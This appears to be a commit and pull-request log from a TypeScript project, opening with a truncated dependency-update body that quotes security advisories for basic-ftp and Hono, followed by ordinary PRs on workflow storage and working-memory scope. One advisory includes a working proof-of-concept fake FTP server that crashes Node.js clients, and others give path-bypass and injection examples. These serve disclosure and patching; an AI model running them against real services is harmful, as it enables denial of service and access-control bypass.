In FTPContext._passToHandler(), wrap the handler call in a try/catch
that rejects the task and calls closeWithError(err).
Validate password in login(), and remotePath in _downloadToStream(),
before any I/O and reject early.

#### Severity
- CVSS Score: 5.9 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H`

#### References
-
[https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-r4jh-29pc-gfqr](https://redirect.github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-r4jh-29pc-gfqr)
-
[0495b906bd)
-
[https://github.com/patrickjuchli/basic-ftp](https://redirect.github.com/patrickjuchli/basic-ftp)
-
[https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.3](https://redirect.github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.3)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-r4jh-29pc-gfqr) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### basic-ftp: Uncaught TypeError in MLSD directory-listing parser via
__proto__ fact name causes DoS in Client.list()
[CVE-2026-126345](https://nvd.nist.gov/vuln/detail/CVE-2026-126345) /
[GHSA-5pm8-86m8-9m6r](https://redirect.github.com/advisories/GHSA-5pm8-86m8-9m6r)

<details>
<summary>More information</summary>

#### Details
##### Summary

basic-ftp's MLSD directory-listing parser (src/parseListMLSD.ts) looks
up fact-handler functions in a plain object literal keyed directly by
fact names taken from the FTP server's response, with no validation. A
directory-listing line containing the fact name "__proto__" resolves
this lookup to Object.prototype (inherited, non-own, non-function)
instead of undefined, so the "not a function" guard is bypassed and the
code throws `TypeError: factHandler is not a function`.

This TypeError is not an FTPError, so it is not caught by
Client.list()'s retry logic and propagates as a rejected promise out of
list() and every API built on top of it (list, downloadToDir,
uploadFromDir, clearWorkingDir, removeDir). Any FTP server the client
connects to — or any on-path attacker on a plaintext (non-TLS) FTP
session — can crash the calling application by returning one crafted
line in a directory listing. If the application does not wrap every one
of these calls in try/catch, the rejection is unhandled and crashes the
Node.js process (default behavior since Node 15).

##### Details

File: src/parseListMLSD.ts
```
const factHandlersByName: {[key: string]: FactHandler} = {
    "size": parseSize,
    "sizd": parseSize,
    "unique": (value, info) => { info.uniqueID = value },
    "modify": (value, info) => { ... },
    "type": (value, info) => { ... },
    "unix.mode": (value, info) => { ... },
    ...
}

export function parseLine(line: string): FileInfo | undefined {
    const [ packedFacts, name ] = splitStringOnce(line, " ")
    ...
    const facts = packedFacts.split(";")
    for (const fact of facts) {
        const [ factName, factValue ] = splitStringOnce(fact, "=")
        if (!factValue) { continue }
        const factHandler = factHandlersByName[factName.toLowerCase()]   // <-- unsafe lookup
        if (!factHandler) { continue }
        const result = factHandler(factValue, info)                     // <-- throws here
        ...
    }
    return info
}
```
factHandlersByName is a plain `{}` object literal, so it inherits from
Object.prototype. Property access does not distinguish own keys from
inherited ones. When factName.toLowerCase() === "__proto__", the bracket
lookup factHandlersByName["__proto__"] returns Object.prototype itself —
a truthy, non-undefined value — so the `if (!factHandler) continue`
guard does not fire. The code then tries to call Object.prototype as a
function: `factHandler(factValue, info)`, which throws `TypeError:
factHandler is not a function`.

This line runs inside parseList() (src/parseList.ts), called
synchronously from a `.map()` over every line of the listing, which in
turn is called from Client._requestListWithCommand() -> Client.list()
(src/Client.ts). list()'s only error handling is:
```
    catch (err) {
        const shouldTryNext = err instanceof FTPError
        if (!shouldTryNext) { throw err }
        lastError = err
    }
```
A plain TypeError is not an FTPError, so it is immediately rethrown
instead of being retried or suppressed, and the Promise returned by
list() rejects with it.

Affected call paths (all eventually call Client.list()):
- Client.list()
- Client.downloadToDir() / _downloadFromWorkingDir()
- Client.clearWorkingDir()
- Client.removeDir()

Only "__proto__" triggers the crash this way; other reserved
Object.prototype property names tested ("constructor", "toString",
"hasOwnProperty", "valueOf", "__defineGetter__") happen to resolve to
actual functions on Object.prototype, so they are called without
throwing (silently ineffective, not a crash). This confirms the root
cause is the use of an unguarded object literal as a dictionary keyed by
untrusted server input, rather than something specific to one property.

##### Proof of concept

Prerequisites: Node.js, a clone/checkout of basic-ftp, `npm install`
then `npm run buildOnly` (or `npx tsc`) to produce dist/.

Step 1 — Minimal reproduction of the parser bug alone:

    node -e '
    const { parseList } = require("./dist/parseList");
    parseList("__proto__=x;type=file;size=10; evil.txt");
    '

Expected result:
    Uncaught TypeError: factHandler is not a function
        at parseLine (.../dist/parseListMLSD.js:...)

Step 2 — End-to-end reproduction through the public Client API, proving
a real FTP server can trigger this over the wire with no client
modification:

    Save as poc.js in the repo root and run `node poc.js`:

    const net = require("net")
    const { Client } = require("./dist/index")

    const server = net.createServer(socket => {
        socket.write("220 fake ftp ready\r\n")
        socket.on("data", data => {
            const cmd = data.toString().trim()
            if (cmd.startsWith("USER")) socket.write("230 ok\r\n")
            else if (cmd.startsWith("OPTS") || cmd.startsWith("TYPE") ||
                     cmd.startsWith("STRU") || cmd.startsWith("PBSZ") ||
                     cmd.startsWith("PROT")) socket.write("200 ok\r\n")
else if (cmd.startsWith("FEAT")) socket.write("211-Features\r\n MLST
type;size;\r\n211 End\r\n")
            else if (cmd.startsWith("EPSV")) {
                const dataServer = net.createServer(dsock => {
                    // The malicious line: fact name "__proto__"
dsock.end("__proto__=pwn;type=file;size=4; evil.txt\r\n")
                })
                dataServer.listen(0, "127.0.0.1", () => {
                    const p = dataServer.address().port
socket.write(`229 Entering Extended Passive Mode (|||${p}|)\r\n`)
                })
            }
            else if (cmd.startsWith("MLSD") || cmd.startsWith("LIST")) {
                socket.write("150 Here comes the listing\r\n")
setTimeout(() => socket.write("226 Listing complete\r\n"), 50)
            }
            else socket.write("200 ok\r\n")
        })
    })

    server.listen(2121, "127.0.0.1", async () => {
        const client = new Client()
        try {
await client.access({ host: "127.0.0.1", port: 2121, user: "a",
password: "b" })
            const files = await client.list()
            console.log("list() returned normally (unexpected):", files)
        } catch (err) {
console.log("client.list() threw:", err.constructor.name, "-",
err.message)
        } finally {
            client.close()
            server.close()
            process.exit(0)
        }
    })

Expected output:

    client.list() threw: TypeError - factHandler is not a function

Configuration notes:
- No TLS, auth bypass, or special server config needed — this is a plain
FTP (PASV/EPSV
text) session using the server's FEAT response to turn on MLSD, which is
the common
  path for any modern FTP server.
- The same crash can be delivered via a LIST-fallback MLSD-shaped line
too, since
  parseList() auto-detects the format from the last listing line.
- In a real application without a try/catch around
list()/downloadToDir()/
clearWorkingDir()/removeDir(), this rejection is unhandled and
terminates the
Node.js process by default (Node >=15 unhandledRejection behavior is
"throw").

##### Impact

Type: Denial of Service (CWE-248: Uncaught Exception, enabled by
CWE-1321-style unguarded dictionary lookup on an object literal).

Who is impacted: Any application using basic-ftp's Client.list(),
downloadToDir(), uploadFromDir() (via ensureDir/clearWorkingDir paths),
clearWorkingDir(), or removeDir() against a server that is malicious,
compromised, or reachable by an on-path attacker on a non-TLS FTP
session. No authentication to the target server is required beyond
whatever credentials the application already uses, and no user
interaction is required — a single crafted directory-listing line is
sufficient.

Confidentiality: None. Integrity: None. Availability: High — unhandled
rejection crashes the Node.js process by default, taking down the whole
application/service, not just the FTP operation.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`

#### References
-
[https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5pm8-86m8-9m6r](https://redirect.github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5pm8-86m8-9m6r)
-
[a22664a45d)
-
[https://github.com/patrickjuchli/basic-ftp](https://redirect.github.com/patrickjuchli/basic-ftp)
-
[https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.4](https://redirect.github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.4)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-5pm8-86m8-9m6r) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Hono: `css` helper does not escape a closing tag split between the
template and an interpolated value, allowing HTML injection
[CVE-2026-126359](https://nvd.nist.gov/vuln/detail/CVE-2026-126359) /
[GHSA-3gg2-335m-rxc6](https://redirect.github.com/advisories/GHSA-3gg2-335m-rxc6)

<details>
<summary>More information</summary>

#### Details
##### Summary

The `css` helper in `hono/css` escapes a `/` that follows `<` inside an
interpolated value so that a value cannot close the `<style>` element.
The check only looks inside each value. When the text before a value
ends with `<`, whether that is the template itself or an earlier
interpolated value, and the next value starts with `/`, the `/` is not
escaped and the combined output contains an unescaped closing tag.

##### Details

Interpolated string values are escaped one at a time before they are
joined with the surrounding template text. The rule that neutralizes
`</` therefore cannot see a `<` that belongs to the template. A template
such as a `content` declaration that opens with a literal `<` and
interpolates a string right after it produces a raw `</style>` when that
string starts with `/style>`. During server-side rendering the `<Style
/>` element is closed early and the rest of the value is interpreted as
HTML.

This issue arises only when `<` is the last character before an
interpolation in a `css` template, either written in the template or
supplied by a preceding value, and the interpolated value is controlled
by a client.

##### Impact

A client that controls such a value can inject HTML, including script,
into the page rendered on the server.

This may lead to:

- Execution of attacker-controlled script in the browser of a user who
views the page
- Exposure of information available to that page

This issue affects applications that interpolate untrusted strings into
a `css` template immediately after a `<`, including two adjacent
interpolations such as `${prefix}${name}` where both are untrusted.
Other uses of the `css` helper are not affected.

##### Workarounds

Do not interpolate untrusted values into `css` templates, or make sure
the text before an interpolated value does not end with `<`.

#### Severity
- CVSS Score: 3.4 / 10 (Low)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N`

#### References
-
[https://github.com/honojs/hono/security/advisories/GHSA-3gg2-335m-rxc6](https://redirect.github.com/honojs/hono/security/advisories/GHSA-3gg2-335m-rxc6)
-
[15bbd96ad1)
-
[https://github.com/honojs/hono](https://redirect.github.com/honojs/hono)
-
[https://github.com/honojs/hono/releases/tag/v4.13.16](https://redirect.github.com/honojs/hono/releases/tag/v4.13.16)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-3gg2-335m-rxc6) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Hono: `csrf()` does not check requests sent by hyperlink auditing
(`text/ping`)
[CVE-2026-126355](https://nvd.nist.gov/vuln/detail/CVE-2026-126355) /
[GHSA-46wx-v44x-9hh2](https://redirect.github.com/advisories/GHSA-46wx-v44x-9hh2)

<details>
<summary>More information</summary>

#### Details
##### Summary

`csrf()` validates a request only when its `Content-Type` is one of the
three types an HTML form can send. Chromium's hyperlink auditing (`<a
ping>`) sends a cross-origin POST with the user's cookies and the
content type `text/ping`, which is not in that list. The middleware does
not look at `Origin` or `Sec-Fetch-Site` for such a request, so it is
passed to the handler.

##### Details

The middleware skips the origin check when the content type is not one
that a form submission produces. The assumption was that any other
content type requires a CORS preflight and therefore cannot be sent
cross-origin with credentials. Hyperlink auditing is an exception:
Chrome and Edge send the ping as a credentialed POST without a
preflight, with a fixed body and `Content-Type: text/ping`.

A page on another origin can therefore trigger a POST to any URL of the
application. The `csrf()` options for `origin` and `secFetchSite` do not
change the outcome, because neither header is evaluated for the request.

The request body is fixed, so only actions whose effect does not depend
on the body can be triggered. Firefox does not send pings by default. As
with any CSRF, the user's cookie must be sent with the request, which
with the default `SameSite=Lax` means a same-site origin or a cookie set
with `SameSite=None`.

##### Impact

A user who visits a malicious page in Chrome or Edge while logged in to
an application protected by `csrf()` can be made to send a
state-changing request to that application, such as logging out,
deleting a resource, or toggling a setting that is selected by the path
or query string.

This issue affects applications that rely on `csrf()` as their CSRF
protection and expose state-changing endpoints whose effect does not
depend on the request body.

##### Workarounds

Reject requests with a `Content-Type` of `text/ping` in a middleware
registered before `csrf()`, or set session cookies with
`SameSite=Strict`.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N`

#### References
-
[https://github.com/honojs/hono/security/advisories/GHSA-46wx-v44x-9hh2](https://redirect.github.com/honojs/hono/security/advisories/GHSA-46wx-v44x-9hh2)
-
[bf16471913)
-
[https://github.com/honojs/hono](https://redirect.github.com/honojs/hono)
-
[https://github.com/honojs/hono/releases/tag/v4.13.16](https://redirect.github.com/honojs/hono/releases/tag/v4.13.16)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-46wx-v44x-9hh2) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Hono: `validator('form')` skips validation for `multipart/form-data`
requests with extra parameters
[CVE-2026-126356](https://nvd.nist.gov/vuln/detail/CVE-2026-126356) /
[GHSA-4h7h-rv7c-7m2v](https://redirect.github.com/advisories/GHSA-4h7h-rv7c-7m2v)

<details>
<summary>More information</summary>

#### Details
##### Summary

`validator('form')` only recognizes a `multipart/form-data`
`Content-Type` that carries nothing but a single `boundary` parameter. A
request with another legal parameter, such as `charset`, or with extra
whitespace after the `;` is not recognized as a form. The validation
callback then receives an empty object, while `c.req.parseBody()` still
parses the body as a form.

##### Details

The check that decides whether a request body is a form was written as a
strict pattern over the whole `Content-Type` value. Any parameter list
that does not look exactly like `; boundary=...` fails the check. When
it fails, the middleware does not read the body and passes an empty
object to the validation callback. If the callback accepts an empty
object, the request proceeds to the handler, which can still read all
submitted fields through `c.req.parseBody()` or `c.req.formData()`.

`application/x-www-form-urlencoded` is not affected. Only the
`multipart/form-data` branch has the strict pattern.

This issue arises when an application relies on `validator('form')` to
reject or restrict fields and the validation callback does not fail on
an empty object.

##### Impact

An unauthenticated client can send form fields that the `form` validator
never sees, by adding a legal parameter to the `Content-Type` header.

This may lead to:

- Allow-list or required-field checks in the validator being skipped
- Fields the application intended to reject reaching the handler

This issue affects applications that use `validator('form')` with
`multipart/form-data` requests and whose validation callback accepts an
empty object.

##### Workarounds

Reject an empty object in the `validator('form')` callback, or validate
the result of `await c.req.parseBody()` in the handler.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N`

#### References
-
[https://github.com/honojs/hono/security/advisories/GHSA-4h7h-rv7c-7m2v](https://redirect.github.com/honojs/hono/security/advisories/GHSA-4h7h-rv7c-7m2v)
-
[d88fab3724)
-
[https://github.com/honojs/hono](https://redirect.github.com/honojs/hono)
-
[https://github.com/honojs/hono/releases/tag/v4.13.16](https://redirect.github.com/honojs/hono/releases/tag/v4.13.16)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-4h7h-rv7c-7m2v) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Hono: `mount()` and `app.mount()` can forward a path that bypasses
middleware scoped inside the mount prefix
[CVE-2026-126357](https://nvd.nist.gov/vuln/detail/CVE-2026-126357) /
[GHSA-4m76-xfj5-7975](https://redirect.github.com/advisories/GHSA-4m76-xfj5-7975)

<details>
<summary>More information</summary>

#### Details
##### Summary

`mount()` and `app.mount()` remove the mount prefix from the request
path and forward the rest to the mounted application. Two mistakes in
that step let a crafted request reach a route of the mounted application
that the outer application protects with path-scoped middleware, such as
an authentication check on `/app/admin/*`. The outer application routes
on the original path, so the middleware does not run.

##### Details

1. **Dynamic prefix** (all affected versions): for a mount such as
`/api/:tenant/*`, the prefix was removed by the length of the route
pattern, not of the matched prefix. A request with a longer or shorter
first segment is cut in the middle, so `/api/a/xxxxx/admin/secret`
reaches the mounted application as `/admin/secret`.
2. **Re-normalization** (since 4.12.21): the forwarded path was built
from the decoded request path and assigned to `url.pathname`, which
turns a decoded backslash into `/` and collapses `..`.
`/app/public%5C..%5Cadmin/secret` reaches the mounted application as
`/admin/secret`.

The fix removes the prefix segment by segment from the raw pathname,
using the matched parameter values for its length. Route patterns that
cannot be handled safely now throw: duplicate parameter names and a
wildcard inside the last segment such as `/assets*`. A trailing slash in
an `app.mount()` prefix no longer removes an extra segment.

##### Impact

An unauthenticated client can reach a route of a mounted application
that the outer application protects with path-scoped middleware.

This affects applications that use `mount()` or `app.mount()` and rely
on middleware registered on a sub-path inside the mount prefi

> [!IMPORTANT]
> ✂ PR body was truncated to here.
2026-11-13 06:57:14 -08:00
Arthur Fiorette
8559e74767
feat(storage): workflow run summary listings and batched run ownership reads (#30274)
## Description

Adds `summary: true` listings that return only each run's status,
timestamp and parent, and `WorkflowsStorage.getRunOwnerships()` to read
many runs' ownership at once. Nothing in core calls them yet, so no
workflow behavior changes.

### Summary listings

`listWorkflowRuns({ summary: true })` now reduces each run's snapshot
to:

```ts
{ status?, timestamp?, parentWorkflow?: { workflowId, runId } }
```

`parentWorkflow` is present only when the stored parent has both IDs,
and is never `null`. A field the run doesn't have is left out. `context`
and every other snapshot field are never returned. Run fields outside
the snapshot (`runId`, `workflowName`, `resourceId`, `createdAt`,
`updatedAt`) are unchanged, and so is `total`.

| Where the snapshot is reduced | Stores |
|---|---|
| In the query (only the summary fields leave the database) | PostgreSQL
and LibSQL (already projected `{ status, timestamp }`, now add the
parent), MySQL, MSSQL, OracleDB, Spanner, DSQL, Cloudflare D1 and
Durable Objects, MongoDB (`project()`) |
| In the app, after reading the whole snapshot | DynamoDB, Redis,
Valkey, Upstash, Convex, in-memory |

This PR doesn't change the status filter. Among the SQL stores,
PostgreSQL (expression index on `snapshot ->> 'status'`), Spanner
(generated status column) and OracleDB (function index on `JSON_VALUE`)
filter on an index, and LibSQL storage v2 runs have an indexed `status`
column. MySQL, MSSQL, DSQL and Cloudflare D1 and Durable Objects extract
the status from each row's JSON.

MSSQL now caches whether the snapshot table has a `resourceId` column.
The non-summary `resourceId` filter uses the same cache, with the same
result as before.

### Batch ownership reads

`getRunOwnerships({ runIds })` returns a `Map` from run ID to the record
`getRunOwnership()` would return for that ID; runs that were never
claimed are left out. The default reads each run with
`getRunOwnership()`, at most 8 at a time, and stops starting new reads
once one fails. Overrides:

| Store | Round trips |
|---|---|
| PostgreSQL | One query for all IDs (one array parameter) |
| LibSQL | One query per 500 IDs |
| MySQL, MSSQL | One query per 500 IDs, joining the requested IDs so the
column's collation matches them as the single-run read does |
| MongoDB | One `find` per 1,000 IDs |
| DynamoDB | One strongly consistent `BatchGetItem` per 100 IDs,
unprocessed keys retried with backoff; IDs that differ only in case name
one item, as in the single-run read |
| Upstash | One pipeline request per 100 IDs |
| Redis, Valkey | One single-key script call per ID (works across
cluster hash slots), up to 500 in flight |
| In-memory | Reads every record in one pass |
| Convex, DSQL, Spanner, OracleDB, Cloudflare D1 and Durable Objects |
Base default |

### In-memory `updatedAt`

The in-memory store now moves a run's `updatedAt` on
`updateWorkflowResults()`, `updateWorkflowState()` and
`updateWorkflowRunHeader()`, as the database adapters already did. A
write a status guard rejects leaves it alone.

### Conformance

In `@internal/storage-test-utils`, run on every store with run fencing:
the summary listing shape for v1 and storage v2 runs, including a null
parent, a parent with one ID and a missing timestamp; `getRunOwnerships`
over 1,001 IDs with live, released, expired and unclaimed runs, each
record equal to the single-run read, plus IDs that differ from a claimed
one only by a trailing space or case (MySQL, MSSQL and DynamoDB match
those in the single-run read). The `updatedAt` cases run through
`createWorkflowsTests`. Valkey and Cloudflare Durable Objects don't run
that suite: Valkey writes through the same path as Redis, and Durable
Objects don't implement partial writes.

Checks run locally: `pnpm build:core`, core `check`, lint and `tsc` of
every touched store, and the conformance suite against in-memory,
LibSQL, PostgreSQL, MySQL, MSSQL, MongoDB (replica set), Redis, Valkey,
DynamoDB Local and Upstash (serverless-redis-http). MSSQL has 15
failures outside this PR's cases that fail the same way on `main`
locally. DSQL, Convex, Spanner, OracleDB and Cloudflare were not run
locally.

Stack 1 of 4; the recovery pass in the later PRs uses these reads.

## Related issue(s)

Part of #28712

## Type of change

- [ ] Bug fix (non-breaking change that fixes an issue)
- [x] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [x] Performance improvement
- [x] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [ ] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Workflow runs can now be listed in a smaller form that holds
only the status, time, and parent workflow. The PR also adds a way to
look up the owners of many runs in one call. Storage adapters return
only the fields that callers need.

## Overview

This PR adds two storage capabilities for workflow runs:

- `listWorkflowRuns({ summary: true })` returns a reduced snapshot for
each run. The snapshot contains `status` and `timestamp`. It adds
`parentWorkflow: { workflowId, runId }` only when both parent IDs are
non-empty strings.
- `WorkflowsStorage.getRunOwnerships({ runIds })` returns ownership
records for many runs. It returns a `Map` keyed by run ID and omits
unclaimed runs.

The in-memory store also changes. Successful writes refresh `updatedAt`.
A write rejected by a status guard leaves `updatedAt` unchanged.

The PR description states that core does not call these APIs yet.
Workflow behavior does not change in this PR.

## Changes by area

**Core (`@mastra/core`)**
- `storage/domains/workflows/base.ts`: Adds a default `getRunOwnerships`
implementation. It deduplicates run IDs and reads at most 8 records
concurrently through `getRunOwnership`. It omits unclaimed runs. A
failed read rejects the batch and stops further reads from starting.
- `storage/domains/workflows/inmemory.ts`: Adds `summary` support to
`listWorkflowRuns`. Summary reduction runs after filtering and
pagination. `updateWorkflowResults`, `updateWorkflowState`, and
`updateWorkflowRunHeader` refresh `updatedAt` after successful writes.
- `storage/types.ts`: Documents the fuller reduced-snapshot shape for
`summary`. It changes no runtime behavior.

**Store adapters**

Summary support (`summary: true`) is added in: Cloudflare D1, Cloudflare
Durable Objects, Convex, DSQL, DynamoDB, LibSQL, MongoDB, MSSQL, MySQL,
OracleDB, PostgreSQL, Redis, Spanner, Upstash, and Valkey.

Reduction happens in the database for these stores:
- SQL stores: PostgreSQL, LibSQL, MySQL, MSSQL, OracleDB, Spanner, DSQL
- Cloudflare D1 and Durable Objects
- MongoDB (projection)

Reduction happens in application code for these stores:
- Convex, DynamoDB, Redis, Upstash, Valkey

`getRunOwnerships` is added in: PostgreSQL, LibSQL, MySQL, MSSQL,
MongoDB, DynamoDB, Redis, Upstash, and Valkey. The batch strategy
differs by store:
- PostgreSQL: one query.
- LibSQL, MySQL, MSSQL: chunks of up to 500 IDs.
- MongoDB: batches of 1,000 IDs.
- DynamoDB: strongly consistent batch reads of up to 100 keys.
Unprocessed keys retry with exponential backoff.
- Upstash: pipeline batches of 100.
- Redis and Valkey: one single-key ownership script call per run. Calls
run in batches of up to 500.

Cloudflare D1 and Durable Objects include `resourceId` in summary
queries only when the table has that column. The column check is cached.

**Conformance test utilities (`stores/_test-utils`)**
- `createSummaryListingTests`: Covers summary shapes, parent metadata
handling, and comparison with full listings. It skips stores without
run-fencing support.
- `createUpdatedAtTests`: Covers `updatedAt` on partial writes. For
storage v2 run journals, it checks header and state updates, including
guard-rejected writes.
- Run-fencing tests: Add batch ownership read cases for live, released,
expired, and unclaimed runs. They also cover inputs larger than
MongoDB's 1,000-item chunk size, collation lookalike IDs, and empty
input. The `untilLapsed` helper polls for up to 5 seconds, checking
every 20 ms.

**Changesets**

Patch changesets cover the affected store packages. A minor changeset
covers `@mastra/core`.

## Scope

- Files changed: 30
- Lines added: 1,555
- Lines removed: 52

## Verification

The author reports these local results. They have not been checked
against the current head:

- `pnpm build:core`, core checks, lint, and TypeScript checks for
touched stores were run.
- Conformance runs were run against the listed stores. The author
reports 15 MSSQL failures outside this PR's test cases. The author
reports the same failures on `main`.
- Conformance tests were not run locally for DSQL, Convex, Spanner,
OracleDB, or Cloudflare.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-13 11:45:22 -03:00
Leo
3c1b528b6e
fix(memory): block irrelevant replace of shared working memory at default scope (#30306)
## Summary

With working memory `scope` left at its default (`'resource'`), the
experimental vNext update-working-memory tool let one thread erase a
line another thread wrote to shared memory by calling it with
`updateReason: 'replace-irrelevant-memory'`. The tool resolved `scope ||
'resource'` for its ID checks, but the guard compared the raw config
value, which is `undefined` by default. The guard now uses the resolved
scope, so default and explicit `'resource'` behave the same, and the
refusal says the memory is shared instead of the misleading "no
searchString was provided".

**Why this way:** reusing the `scope` already resolved a few lines above
keeps one source of truth, rather than repeating `|| 'resource'` in the
guard (the issue's preferred option too).

Door: two-way · Risk: low (composes `@mastra/memory` vNext working
memory tool) · Cleanup: none

## Evidence

New test file
`packages/memory/src/tools/working-memory-vnext-scope.test.ts` drives
the real tool from `Memory.listTools()` with a real `Memory` and
`InMemoryStore`, writing from two threads and reading back from both.

- **Before** (origin/main's `working-memory.ts`):
  ```
× another thread can't erase shared resource memory as irrelevant (scope
left at its default)
expected { success: true, … } to match object { success: false, … } //
thread B replaced Apollo
× another thread can't erase shared resource memory as irrelevant
(scope: 'resource' set explicitly)
      // refused, but with "no searchString was provided"
✓ still lets a thread clarify an existing resource-scoped line when
scope is left at its default
✓ with scope: 'thread', a thread can replace its own irrelevant memory
and other threads are untouched
  Tests  2 failed | 2 passed (4)
  ```
  **After:**
  ```
✓ another thread can't erase shared resource memory as irrelevant (scope
left at its default)
✓ another thread can't erase shared resource memory as irrelevant
(scope: 'resource' set explicitly)
✓ still lets a thread clarify an existing resource-scoped line when
scope is left at its default
✓ with scope: 'thread', a thread can replace its own irrelevant memory
and other threads are untouched
  Tests  4 passed (4)
  ```
- Neighboring suites `src/tools/working-memory.test.ts` and
`src/index.test.ts` with the new file: 215 passed. `tsc --noEmit` for
`@mastra/memory` clean; `oxfmt --check` and `oxlint --deny-warnings`
clean on changed files.

One behavior note: the issue describes the guard as turning the update
into an append. On main, explicit `scope: 'resource'` actually refuses
the call (the guard cleared `searchString`, then the next check rejected
it) and nothing is written. This PR keeps that refusal and makes the
default match it; only the reason text changes.

## Merge Danger

Two-way: a one-condition change plus a clearer refusal message in the
experimental vNext tool; the riskiest part is that default-scope agents
that relied on `replace-irrelevant-memory` succeeding will now get a
refusal, which is the documented intent.

**Blast radius:** agents using working memory `version: 'vnext'` with
resource scope (default or explicit). The stable tool and thread scope
are unchanged. Open PR #29209 also edits `working-memory.ts`, in
different hunks (lines 1-90; this change is at line 426).

Closes #30287

## Council review

Rounds: 3

| Seat | Round 1 | Round 2 | Round 3 |
| --- | --- | --- | --- |
| Claude Opus 5.5 | not run | 9/10 | 10/10 |
| GPT-6.1 Sol | 9.8/10 | 10/10 | 10/10 |
| Grok 4.7 | empty seat | empty seat | empty seat |
| Kimi K3.1 | not run | not run | 10/10 |
| DeepSeek V4.1 Flash | not run | not run | 9/10 |

Created with Claude Opus 5.5 in T3 Code.
🤖 Generated with [Claude Code](https://claude.com/claude-code)


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Working memory can be shared by every chat that one user has.
Before this fix, if the scope was not set, one chat could delete a line
that another chat had saved. Now the default scope gets the same
protection as the explicit shared setting.

## Summary

This change fixes the guard for `replace-irrelevant-memory` in the
experimental vNext working-memory tool. The guard read the raw `scope`
config value. When `scope` was unset, that value was `undefined`, so the
guard did not run. The guard now uses the resolved `scope` value, which
includes the `resource` default.

## Behavior

- **Default or explicit `resource` scope:** A
`replace-irrelevant-memory` call that includes a `searchString` is
refused. The tool returns a specific failure. The failure tells the
agent to use `clarify-existing-memory` or `append-new-memory`. Before
this change, the tool cleared the `searchString` and continued to later
validation.
- **`thread` scope:** No change.
- **Stable (v1) working-memory tool:** No change.
- **`clarify-existing-memory`:** No change. The linked issue excludes
this tool.

The linked issue expected the replacement to become an append. This
change keeps the refusal for `resource` scope. It makes the default
scope match explicit `resource` scope.

## Changed files

- `packages/memory/src/tools/working-memory.ts` (+6/-3): Uses the
resolved scope in the resource-scope check. Returns the specific failure
for `replace-irrelevant-memory` with a `searchString`.
- `packages/memory/src/tools/working-memory-vnext-scope.test.ts` (+95):
Adds tests for:
  - refusal under default and explicit `resource` scope;
  - clarification of existing shared resource memory;
  - replacement isolation under `thread` scope.
- `.changeset/nine-boxes-pump.md` (+5): Adds a patch changeset for
`@mastra/memory`.

No exported or public declarations change.

## Verification

The PR author reports the following results. This summary did not rerun
them.

- Four new tests pass.
- 215 tests pass across the new test file and the neighboring
`src/tools/working-memory.test.ts` and `src/index.test.ts` suites.
- `tsc --noEmit`, `oxfmt --check`, and `oxlint --deny-warnings` report
no issues.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-13 08:54:36 -05:00
mastra-platform[bot]
f51098e60c
fix(core): reject DurableAgent.recover() when processors or memory cannot be resolved (#29153) 2026-11-13 14:52:29 +01:00
Tyler Barnes
d6f74ee480
test(core): isolate tests that set env before their imports (#30308)
Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-13 14:50:35 +01:00
Ward Peeters
03df309527
feat(factory): let one issue or pull request have a card on several boards (#30269)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 14:48:47 +01:00
Eric Pinzur
af003d2158
feat(playground): add capability-gated span and trace search (#30299)
Adds a “Contains text” chip to the existing span and trace filter
pickers when the server advertises the corresponding search capability.
Enter/Apply commits the value; users can edit or remove the chip like
other filters. Search survives URLs and saved views, validates the API's
3–256 Unicode-character range, and is omitted for unsupported backends.
